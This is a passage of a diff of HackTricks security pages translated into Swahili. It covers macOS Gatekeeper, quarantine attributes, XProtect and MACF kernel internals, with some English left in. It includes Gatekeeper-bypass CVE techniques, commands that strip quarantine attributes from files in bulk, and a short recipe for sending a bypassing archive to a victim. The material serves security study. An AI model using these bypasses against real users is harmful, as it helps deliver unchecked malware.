Hivyo, ukaguzi huu unafanywa **tu wakati wa kutekeleza programu zenye sifa ya karantini.**
{% endhint %}
{% hint style="warning" %}
This attribute must be **set by the application creating/downloading** the file.
Sifa hii lazima iwe **imewekwa na programu inayounda/kuhifadhi** faili.
However, files that are sandboxed will have this attribute set to every file they create. And non sandboxed apps can set it themselves, or specify the [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) key in the **Info.plist** which will make the system set the `com.apple.quarantine` extended attribute on the files created,
Hata hivyo, faili ambazo zimewekwa kwenye sandbox zitakuwa na sifa hii imewekwa kwa kila faili wanayounda. Na programu zisizo na sandbox zinaweza kujiwekea zenyewe, au kuashiria funguo ya [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) katika **Info.plist** ambayo itafanya mfumo kuweka sifa ya `com.apple.quarantine` kwenye faili zilizoundwa,
{% endhint %}
Moreover, all files created by a process calling **`qtn_proc_apply_to_self`** are quarantined. Or the API **`qtn_file_apply_to_path`** adds the quarantine attribute to a specified file path.
@ -181,13 +193,13 @@ spctl --enable
spctl --disable
#You can also allow nee identifies to execute code using the binary "spctl"
```
Unaweza pia **kupata ikiwa faili ina sifa ya kupunguza karantini** kwa:
Unaweza pia **kupata kama faili ina sifa ya kupumzika ya ziada** kwa kutumia:
```bash
xattr file.png
com.apple.macl
com.apple.quarantine
```
Angalia **thamani** ya **sifa** **panua** na pata programu iliyoandika sifa ya karantini na:
Angalia **thamani** ya **sifa** za **kupanuliwa** na pata programu ambayo iliandika sifa ya karantini na:
```bash
xattr -l portada.png
com.apple.macl:
@ -203,7 +215,7 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
# Brave -- App
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
```
Kwa kweli, mchakato "unaweza kuweka bendera za karantini kwa faili zinazoundwa" (nilijaribu kutumia bendera ya USER_APPROVED katika faili iliyoundwa lakini haikufanya kazi):
Kwa kweli, mchakato "unaweza kuweka bendera za karantini kwa faili zinazoundwa" (nimejaribu tayari kutumia bendera ya USER_APPROVED katika faili iliyoundwa lakini haitatumika):
<details>
@ -275,7 +287,7 @@ xattr -d com.apple.quarantine portada.png
#You can also remove this attribute from every file with
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
```
Na pata faili zote zilizokuwa katika karantini kwa kutumia:
Na pata faili zote zilizokuwa katika karantini kwa kutumia:
{% code overflow="wrap" %}
```bash
@ -283,21 +295,34 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
```
{% endcode %}
Taarifa za karantini pia zinahifadhiwa katika hifadhidata kuu inayosimamiwa na LaunchServices katika **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**.
Taarifa za karantini pia zinahifadhiwa katika hifadhidata kuu inayosimamiwa na LaunchServices katika **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`** ambayo inaruhusu GUI kupata data kuhusu asili za faili. Zaidi ya hayo, hii inaweza kubadilishwa na programu ambazo zinaweza kuwa na nia ya kuficha asili zake. Aidha, hii inaweza kufanywa kutoka kwa LaunchServices APIS.
#### **libquarantine.dylb**
Maktaba hii inatoa kazi kadhaa zinazoruhusu kubadilisha maeneo ya sifa za ziada.
APIs za `qtn_file_*` zinahusiana na sera za karantini za faili, APIs za `qtn_proc_*` zinatumika kwa michakato (faili zilizoundwa na mchakato). Kazi zisizotolewa za `__qtn_syscall_quarantine*` ndizo zinazotumia sera ambazo zinaita `mac_syscall` na "Karantini" kama hoja ya kwanza ambayo inatuma maombi kwa `Quarantine.kext`.
#### **Quarantine.kext**
Kipanuzi cha kernel kinapatikana tu kupitia **cache ya kernel kwenye mfumo**; hata hivyo, unaweza kupakua **Kernel Debug Kit kutoka https://developer.apple.com/**, ambayo itakuwa na toleo lililosimbwa la kipanuzi hicho.
Kipanuzi cha kernel kinapatikana tu kupitia **cache ya kernel kwenye mfumo**; hata hivyo, unaweza kupakua **Kernel Debug Kit kutoka** [**https://developer.apple.com/**](https://developer.apple.com/), ambayo itakuwa na toleo lililosimbwa la kipanuzi.
Kext hii itashughulikia kupitia MACF simu kadhaa ili kunasa matukio yote ya mzunguko wa faili: Uundaji, ufunguzi, kubadilisha jina, kuunganisha ngumu... hata `setxattr` ili kuzuia kuweka sifa ya ziada ya `com.apple.quarantine`.
Pia inatumia MIB kadhaa:
* `security.mac.qtn.sandbox_enforce`: Lazimisha karantini pamoja na Sandbox
* `security.mac.qtn.user_approved_exec`: Michakato iliyowekwa karantini inaweza tu kutekeleza faili zilizothibitishwa
### XProtect
XProtect ni kipengele cha ndani cha **anti-malware** katika macOS. XProtect **inaangalia programu yoyote inapozinduliwa au kubadilishwa kwa mara ya kwanza dhidi ya hifadhidata yake** ya malware inayojulikana na aina za faili zisizo salama. Unapopakua faili kupitia programu fulani, kama Safari, Mail, au Messages, XProtect moja kwa moja inachunguza faili hiyo. Ikiwa inalingana na malware yoyote inayojulikana katika hifadhidata yake, XProtect itazuia **faili hiyo isifanye kazi** na kukuarifu kuhusu tishio hilo.
XProtect ni kipengele cha **anti-malware** kilichojengwa ndani ya macOS. XProtect **inaangalia programu yoyote inapozinduliwa au kubadilishwa kwa mara ya kwanza dhidi ya hifadhidata yake** ya malware inayojulikana na aina za faili zisizo salama. Unapopakua faili kupitia programu fulani, kama Safari, Mail, au Messages, XProtect moja kwa moja inachunguza faili hiyo. Ikiwa inalingana na malware yoyote inayojulikana katika hifadhidata yake, XProtect itazuia **faili hiyo isifanye kazi** na kukujulisha kuhusu tishio hilo.
Hifadhidata ya XProtect **inasasishwa mara kwa mara** na Apple kwa maelezo mapya ya malware, na sasisho haya hupakuliwa na kufungwa kiotomatiki kwenye Mac yako. Hii inahakikisha kwamba XProtect iko daima na habari za hivi punde kuhusu vitisho vinavyojulikana.
Hifadhidata ya XProtect **inasasishwa mara kwa mara** na Apple kwa ufafanuzi mpya wa malware, na sasisho hizi zinapakuliwa na kufungwa kiotomatiki kwenye Mac yako. Hii inahakikisha kwamba XProtect iko daima na habari za hivi karibuni kuhusu vitisho vinavyojulikana.
Hata hivyo, inafaa kutambua kwamba **XProtect si suluhisho kamili la antivirus**. Inaangalia tu orodha maalum ya vitisho vinavyojulikana na haisahihishi skanning ya upatikanaji kama programu nyingi za antivirus.
Hata hivyo, inafaa kutambua kwamba **XProtect si suluhisho kamili la antivirus**. Inakagua tu orodha maalum ya vitisho vinavyojulikana na haisahihishi skanning ya upatikanaji kama programu nyingi za antivirus.
Unaweza kupata taarifa kuhusu sasisho la hivi punde la XProtect ukikimbia:
Unaweza kupata taarifa kuhusu sasisho la hivi karibuni la XProtect ukikimbia:
{% code overflow="wrap" %}
```bash
@ -305,7 +330,7 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
```
{% endcode %}
XProtect iko katika. SIP iliyo na ulinzi mahali katika **/Library/Apple/System/Library/CoreServices/XProtect.bundle** na ndani ya bundle unaweza kupata taarifa XProtect inatumia:
XProtect iko kwenye. SIP iliyo na ulinzi katika **/Library/Apple/System/Library/CoreServices/XProtect.bundle** na ndani ya bundle unaweza kupata taarifa ambazo XProtect inatumia:
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Inaruhusu msimbo wenye cdhashes hizo kutumia haki za zamani.
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Orodha ya plugins na nyongeza ambazo haziruhusiwi kupakia kupitia BundleID na TeamID au kuashiria toleo la chini.
@ -322,11 +347,11 @@ Kumbuka kwamba Gatekeeper **haiendeshwi kila wakati** unapotekeleza programu, ni
Hivyo, hapo awali ilikuwa inawezekana kutekeleza app ili kuikatia akiba na Gatekeeper, kisha **kubadilisha faili zisizotekelezwa za programu** (kama Electron asar au NIB files) na ikiwa hakuna ulinzi mwingine ulio kuwekwa, programu hiyo ilikuwa **ikiendeshwa** na **nyongeza** za **hatari**.
Hata hivyo, sasa hii haiwezekani kwa sababu macOS **inasitisha kubadilisha faili** ndani ya bundles za programu. Hivyo, ukijaribu shambulio la [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), utaona kwamba si tena inawezekana kulitumia kwa sababu baada ya kutekeleza app ili kuikatia akiba na Gatekeeper, huwezi kubadilisha bundle. Na ikiwa badala yake unabadilisha jina la saraka ya Contents kuwa NotCon (kama ilivyoonyeshwa katika exploit), kisha kutekeleza binary kuu ya app ili kuikatia akiba na Gatekeeper, itasababisha kosa na haitatekelezwa.
Hata hivyo, sasa hii haiwezekani kwa sababu macOS **inazuia kubadilisha faili** ndani ya bundles za programu. Hivyo, ukijaribu shambulio la [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), utagundua kwamba si tena inawezekana kulitumia kwa sababu baada ya kutekeleza app ili kuikatia akiba na Gatekeeper, huwezi kubadilisha bundle. Na ikiwa badala yake unabadilisha jina la saraka ya Contents kuwa NotCon (kama ilivyoonyeshwa katika exploit), kisha kutekeleza binary kuu ya app ili kuikatia akiba na Gatekeeper, itasababisha kosa na haitatekelezwa.
## Mipango ya Kuepuka Gatekeeper
Njia yoyote ya kuepuka Gatekeeper (kufanikiwa kumfanya mtumiaji apakue kitu na kukitekeleza wakati Gatekeeper inapaswa kukataa) inachukuliwa kama udhaifu katika macOS. Hizi ni baadhi ya CVEs zilizotolewa kwa mbinu ambazo ziliruhusu kuepuka Gatekeeper katika siku za nyuma:
Njia yoyote ya kuepuka Gatekeeper (kufanikiwa kumfanya mtumiaji apakue kitu na kukitekeleza wakati Gatekeeper inapaswa kukataa) inachukuliwa kuwa udhaifu katika macOS. Hizi ni baadhi ya CVEs zilizotolewa kwa mbinu ambazo ziliruhusu kuepuka Gatekeeper katika siku za nyuma:
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
@ -336,11 +361,11 @@ Angalia [**ripoti ya asili**](https://labs.withsecure.com/publications/the-disco
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
Wakati programu inaundwa na **Automator**, taarifa kuhusu kile inachohitaji kutekeleza iko ndani ya `application.app/Contents/document.wflow` si katika executable. Executable ni binary ya jumla ya Automator inayoitwa **Automator Application Stub**.
Wakati programu inaundwa kwa **Automator**, taarifa kuhusu kile inachohitaji kutekeleza iko ndani ya `application.app/Contents/document.wflow` si katika executable. Executable ni binary ya jumla ya Automator inayoitwa **Automator Application Stub**.
Hivyo, unaweza kufanya `application.app/Contents/MacOS/Automator\ Application\ Stub` **kuashiria kwa kiungo cha alama kwa Automator Application Stub nyingine ndani ya mfumo** na itatekeleza kile kilichomo ndani ya `document.wflow` (script yako) **bila kuamsha Gatekeeper** kwa sababu executable halisi haina xattr ya karantini.
Hivyo, unaweza kufanya `application.app/Contents/MacOS/Automator\ Application\ Stub` **ielekeze kwa kiungo cha alama kwa Automator Application Stub nyingine ndani ya mfumo** na itatekeleza kile kilichomo ndani ya `document.wflow` (script yako) **bila kuamsha Gatekeeper** kwa sababu executable halisi haina xattr ya karantini.
Mfano wa mahali inatarajiwa: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
Mfano wa eneo linalotarajiwa: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
Angalia [**ripoti ya asili**](https://ronmasas.com/posts/bypass-macos-gatekeeper) kwa maelezo zaidi.
@ -397,7 +422,7 @@ Iligundulika kwamba **Google Chrome haikuwa ikipanga sifa ya karantini** kwa fai
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
Mifumo ya faili ya AppleDouble huhifadhi sifa za faili katika faili tofauti inayaanza na `._`, hii husaidia kunakili sifa za faili **katika mashine za macOS**. Hata hivyo, ilionekana kwamba baada ya kufungua faili la AppleDouble, faili inayaanza na `._` **haikupatiwa sifa ya karantini**.
Mifumo ya faili ya AppleDouble huhifadhi sifa za faili katika faili tofauti inayaanza na `._`, hii husaidia kuhamasisha sifa za faili **katika mashine za macOS**. Hata hivyo, ilionekana kwamba baada ya kufungua faili ya AppleDouble, faili inayaanza na `._` **haikupatiwa sifa ya karantini**.
{% code overflow="wrap" %}
```bash
@ -430,8 +455,8 @@ aa archive -d s/ -o app.aar
```
### uchg (from this [talk](https://codeblue.jp/2023/result/pdf/cb23-bypassing-macos-security-and-privacy-mechanisms-from-gatekeeper-to-system-integrity-protection-by-koh-nakagawa.pdf))
* Unda directory yenye app.
* Ongeza uchg kwa app.
* Unda directory inayojumuisha app.
* Ongeza uchg kwenye app.
* Funga app kuwa faili ya tar.gz.
* Tuma faili ya tar.gz kwa mwathirika.
* Mwathirika anafungua faili ya tar.gz na kuendesha app.
@ -439,15 +464,15 @@ aa archive -d s/ -o app.aar
### Zuia Quarantine xattr
Katika kifurushi cha ".app" ikiwa xattr ya quarantine haijaongezwa, wakati wa kuendesha **Gatekeeper haitasababisha**.
Katika kifurushi cha ".app" ikiwa xattr ya quarantine haijongezwa, wakati wa kuendesha **Gatekeeper haitasababisha**.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -0,0 +1,268 @@
# macOS MACF
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
**MACF** inamaanisha **Mandatory Access Control Framework**, ambayo ni mfumo wa usalama uliojengwa ndani ya mfumo wa uendeshaji kusaidia kulinda kompyuta yako. Inafanya kazi kwa kuweka **kanuni kali kuhusu nani au nini kinaweza kufikia sehemu fulani za mfumo**, kama vile faili, programu, na rasilimali za mfumo. Kwa kutekeleza kanuni hizi kiotomatiki, MACF inahakikisha kwamba ni watumiaji na michakato walioidhinishwa pekee wanaweza kufanya vitendo maalum, kupunguza hatari ya ufikiaji usioidhinishwa au shughuli mbaya.
Kumbuka kwamba MACF haifanyi maamuzi yoyote kwani inachukua tu **hatua**, inawaachia maamuzi **moduli za sera** (kernel extensions) inazopiga simu kama `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext`, `TMSafetyNet.kext` na `mcxalr.kext`.
### Flow
1. Mchakato unafanya syscall/mach trap
2. Kazi husika inaitwa ndani ya kernel
3. Kazi inaita MACF
4. MACF inakagua moduli za sera ambazo zilitaka kuunganisha kazi hiyo katika sera zao
5. MACF inaita sera husika
6. Sera zinaonyesha kama zinaruhusu au kukataa hatua hiyo
{% hint style="danger" %}
Apple ndiye pekee anayeweza kutumia MAC Framework KPI.
{% endhint %}
### Labels
MACF inatumia **labels** ambazo kisha sera zinakagua kama zinapaswa kutoa ufikiaji fulani au la. Kanuni ya kutangaza muundo wa labels inaweza kupatikana [hapa](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h), ambayo kisha inatumika ndani ya **`struct ucred`** [**hapa**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) katika sehemu ya **`cr_label`**. Label ina bendera na nambari ya **slots** ambazo zinaweza kutumika na **sera za MACF kutoa viashiria**. Kwa mfano, Sanbox itakuwa na kiashiria cha wasifu wa kontena.
## MACF Policies
Sera ya MACF inafafanua **kanuni na masharti yanayopaswa kutumika katika operesheni fulani za kernel**.&#x20;
Kupanua kernel kunaweza kuunda muundo wa `mac_policy_conf` kisha kujiandikisha kwa kuita `mac_policy_register`. Kutoka [hapa](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
```c
#define mpc_t struct mac_policy_conf *
/**
@brief Mac policy configuration
This structure specifies the configuration information for a
MAC policy module. A policy module developer must supply
a short unique policy name, a more descriptive full name, a list of label
namespaces and count, a pointer to the registered enty point operations,
any load time flags, and optionally, a pointer to a label slot identifier.
The Framework will update the runtime flags (mpc_runtime_flags) to
indicate that the module has been registered.
If the label slot identifier (mpc_field_off) is NULL, the Framework
will not provide label storage for the policy. Otherwise, the
Framework will store the label location (slot) in this field.
The mpc_list field is used by the Framework and should not be
modified by policies.
*/
/* XXX - reorder these for better aligment on 64bit platforms */
struct mac_policy_conf {
const char *mpc_name; /** policy name */
const char *mpc_fullname; /** full name */
const char **mpc_labelnames; /** managed label namespaces */
unsigned int mpc_labelname_count; /** number of managed label namespaces */
struct mac_policy_ops *mpc_ops; /** operation vector */
int mpc_loadtime_flags; /** load time flags */
int *mpc_field_off; /** label slot */
int mpc_runtime_flags; /** run time flags */
mpc_t mpc_list; /** List reference */
void *mpc_data; /** module data */
};
```
Ni rahisi kubaini nyongeza za kernel zinazokamilisha sera hizi kwa kuangalia simu za `mac_policy_register`. Zaidi ya hayo, kuangalia disassemble ya nyongeza pia inawezekana kupata muundo wa `mac_policy_conf` unaotumika.
Kumbuka kwamba sera za MACF zinaweza kuandikishwa na kufutwa pia **kitaalamu**.
Moja ya maeneo makuu ya `mac_policy_conf` ni **`mpc_ops`**. Huu ni uwanja unaoeleza ni shughuli zipi sera inavutiwa nazo. Kumbuka kwamba kuna mamia yao, hivyo inawezekana kuweka sifuri zote kisha kuchagua zile tu ambazo sera inavutiwa nazo. Kutoka [hapa](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
```c
struct mac_policy_ops {
mpo_audit_check_postselect_t *mpo_audit_check_postselect;
mpo_audit_check_preselect_t *mpo_audit_check_preselect;
mpo_bpfdesc_label_associate_t *mpo_bpfdesc_label_associate;
mpo_bpfdesc_label_destroy_t *mpo_bpfdesc_label_destroy;
mpo_bpfdesc_label_init_t *mpo_bpfdesc_label_init;
mpo_bpfdesc_check_receive_t *mpo_bpfdesc_check_receive;
mpo_cred_check_label_update_execve_t *mpo_cred_check_label_update_execve;
mpo_cred_check_label_update_t *mpo_cred_check_label_update;
[...]
```
Almost all the hooks will be called back by MACF when one of those operations are intercepted. However, **`mpo_policy_*`** hooks are an exception because `mpo_hook_policy_init()` is a callback called upon registration (so after `mac_policy_register()`) and `mpo_hook_policy_initbsd()` is called during late registration once the BSD subsystem has initialised properly.
Moreover, the **`mpo_policy_syscall`** hook can be registered by any kext to expose a private **ioctl** style call **interface**. Then, a user client will be able to call `mac_syscall` (#381) specifying as parameters the **policy name** with an integer **code** and optional **arguments**.\
For example, the **`Sandbox.kext`** uses this a lot.
Checking the kext's **`__DATA.__const*`** is possible to identify the `mac_policy_ops` structure used when registering the policy. It's possible to find it because its pointer is at an offset inside `mpo_policy_conf` and also because the amount of NULL pointers that will be in that area.
Moreover, it's also possible to get the list of kexts that have configured a policy by dumping from memory the struct **`_mac_policy_list`** which is updated with every policy that is registered.
## MACF Initialization
MACF inaanzishwa mapema sana. Inapangwa katika `bootstrap_thread` ya XNU: baada ya `ipc_bootstrap` wito wa `mac_policy_init()` ambayo inaanzisha `mac_policy_list` na muda mfupi baadaye `mac_policy_initmach()` inaitwa. Miongoni mwa mambo mengine, kazi hii itapata kexts zote za Apple zenye ufunguo wa `AppleSecurityExtension` katika Info.plist yao kama vile `ALF.kext`, `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext` na `TMSafetyNet.kext` na kuzipakia.
## MACF Callouts
Ni kawaida kupata wito kwa MACF ulioainishwa katika msimbo kama: **`#if CONFIG_MAC`** vizuizi vya masharti. Aidha, ndani ya vizuizi hivi inawezekana kupata wito kwa `mac_proc_check*` ambayo inaita MACF ili **kuangalia ruhusa** za kutekeleza vitendo fulani. Aidha, muundo wa wito wa MACF ni: **`mac_<object>_<opType>_opName`**.
Kitu ni kimoja kati ya yafuatayo: `bpfdesc`, `cred`, `file`, `proc`, `vnode`, `mount`, `devfs`, `ifnet`, `inpcb`, `mbuf`, `ipq`, `pipe`, `sysv[msg/msq/shm/sem]`, `posix[shm/sem]`, `socket`, `kext`.\
`opType` kwa kawaida ni check ambayo itatumika kuruhusu au kukataa kitendo. Hata hivyo, pia inawezekana kupata `notify`, ambayo itaruhusu kext kujibu kitendo kilichotolewa.
You can find an example in [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_mman.c#L621](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_mman.c#L621):
<pre class="language-c"><code class="lang-c">int
mmap(proc_t p, struct mmap_args *uap, user_addr_t *retval)
{
[...]
#if CONFIG_MACF
<strong> error = mac_file_check_mmap(vfs_context_ucred(ctx),
</strong> fp->fp_glob, prot, flags, file_pos + pageoff,
&#x26;maxprot);
if (error) {
(void)vnode_put(vp);
goto bad;
}
#endif /* MAC */
[...]
</code></pre>
Then, it's possible to find the code of `mac_file_check_mmap` in [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_file.c#L174](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_file.c#L174)
```c
mac_file_check_mmap(struct ucred *cred, struct fileglob *fg, int prot,
int flags, uint64_t offset, int *maxprot)
{
int error;
int maxp;
maxp = *maxprot;
MAC_CHECK(file_check_mmap, cred, fg, NULL, prot, flags, offset, &maxp);
if ((maxp | *maxprot) != *maxprot) {
panic("file_check_mmap increased max protections");
}
*maxprot = maxp;
return error;
}
```
Ambayo inaita macro ya `MAC_CHECK`, ambayo msimbo wake unaweza kupatikana katika [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_internal.h#L261](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_internal.h#L261)
```c
/*
* MAC_CHECK performs the designated check by walking the policy
* module list and checking with each as to how it feels about the
* request. Note that it returns its value via 'error' in the scope
* of the caller.
*/
#define MAC_CHECK(check, args...) do { \
error = 0; \
MAC_POLICY_ITERATE({ \
if (mpc->mpc_ops->mpo_ ## check != NULL) { \
DTRACE_MACF3(mac__call__ ## check, void *, mpc, int, error, int, MAC_ITERATE_CHECK); \
int __step_err = mpc->mpc_ops->mpo_ ## check (args); \
DTRACE_MACF2(mac__rslt__ ## check, void *, mpc, int, __step_err); \
error = mac_error_select(__step_err, error); \
} \
}); \
} while (0)
```
Ambayo itapitia sera zote za mac zilizorekodiwa ikitumia kazi zao na kuhifadhi matokeo ndani ya mabadiliko ya makosa, ambayo yanaweza kubadilishwa tu na `mac_error_select` kwa nambari za mafanikio hivyo ikiwa ukaguzi wowote unashindwa ukaguzi kamili utashindwa na hatua haitaruhusiwa.
{% hint style="success" %}
Hata hivyo, kumbuka kwamba si kila kito cha MACF kinatumika tu kukataa hatua. Kwa mfano, `mac_priv_grant` inaita macro [**MAC\_GRANT**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L274), ambayo itatoa kibali kilichohitajika ikiwa sera yoyote itajibu kwa 0:
```c
/*
* MAC_GRANT performs the designated check by walking the policy
* module list and checking with each as to how it feels about the
* request. Unlike MAC_CHECK, it grants if any policies return '0',
* and otherwise returns EPERM. Note that it returns its value via
* 'error' in the scope of the caller.
*/
#define MAC_GRANT(check, args...) do { \
error = EPERM; \
MAC_POLICY_ITERATE({ \
if (mpc->mpc_ops->mpo_ ## check != NULL) { \
DTRACE_MACF3(mac__call__ ## check, void *, mpc, int, error, int, MAC_ITERATE_GRANT); \
int __step_res = mpc->mpc_ops->mpo_ ## check (args); \
if (__step_res == 0) { \
error = 0; \
} \
DTRACE_MACF2(mac__rslt__ ## check, void *, mpc, int, __step_res); \
} \
}); \
} while (0)
```
{% endhint %}
### priv\_check & priv\_grant
Hizi callas zinakusudia kuangalia na kutoa (mifumo ya) **privileges** zilizofafanuliwa katika [**bsd/sys/priv.h**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/priv.h).\
Baadhi ya msimbo wa kernel utaita `priv_check_cred()` kutoka [**bsd/kern/kern\_priv.c**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_priv.c) kwa kutumia KAuth credentials za mchakato na moja ya msimbo wa privileges ambayo itaita `mac_priv_check` ili kuona kama sera yoyote **inasitisha** kutoa ile privilege na kisha inaita `mac_priv_grant` ili kuona kama sera yoyote inatoa `privilege`.
### proc\_check\_syscall\_unix
Hii hook inaruhusu kukamata simu zote za mfumo. Katika `bsd/dev/[i386|arm]/systemcalls.c` inawezekana kuona kazi iliyoelezwa [`unix_syscall`](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/dev/arm/systemcalls.c#L160C1-L167C25), ambayo ina msimbo huu:
```c
#if CONFIG_MACF
if (__improbable(proc_syscall_filter_mask(proc) != NULL && !bitstr_test(proc_syscall_filter_mask(proc), syscode))) {
error = mac_proc_check_syscall_unix(proc, syscode);
if (error) {
goto skip_syscall;
}
}
#endif /* CONFIG_MACF */
```
Ambayo itakagua katika mchakato unaoitwa **bitmask** ikiwa syscall ya sasa inapaswa kuita `mac_proc_check_syscall_unix`. Hii ni kwa sababu syscalls zinaitwa mara nyingi sana kwamba ni muhimu kuepuka kuita `mac_proc_check_syscall_unix` kila wakati.
Kumbuka kwamba kazi `proc_set_syscall_filter_mask()`, ambayo huweka bitmask syscalls katika mchakato inaitwa na Sandbox kuweka masks kwenye mchakato zilizowekwa kwenye sandbox.
## Syscalls za MACF zilizofichuliwa
Inawezekana kuingiliana na MACF kupitia baadhi ya syscalls zilizofafanuliwa katika [security/mac.h](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac.h#L151):
```c
/*
* Extended non-POSIX.1e interfaces that offer additional services
* available from the userland and kernel MAC frameworks.
*/
#ifdef __APPLE_API_PRIVATE
__BEGIN_DECLS
int __mac_execve(char *fname, char **argv, char **envv, mac_t _label);
int __mac_get_fd(int _fd, mac_t _label);
int __mac_get_file(const char *_path, mac_t _label);
int __mac_get_link(const char *_path, mac_t _label);
int __mac_get_pid(pid_t _pid, mac_t _label);
int __mac_get_proc(mac_t _label);
int __mac_set_fd(int _fildes, const mac_t _label);
int __mac_set_file(const char *_path, mac_t _label);
int __mac_set_link(const char *_path, mac_t _label);
int __mac_mount(const char *type, const char *path, int flags, void *data,
struct mac *label);
int __mac_get_mount(const char *path, struct mac *label);
int __mac_set_proc(const mac_t _label);
int __mac_syscall(const char *_policyname, int _call, void *_arg);
__END_DECLS
#endif /*__APPLE_API_PRIVATE*/
```
## References
* [**\*OS Internals Volume III**](https://newosxbook.com/home.html)
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
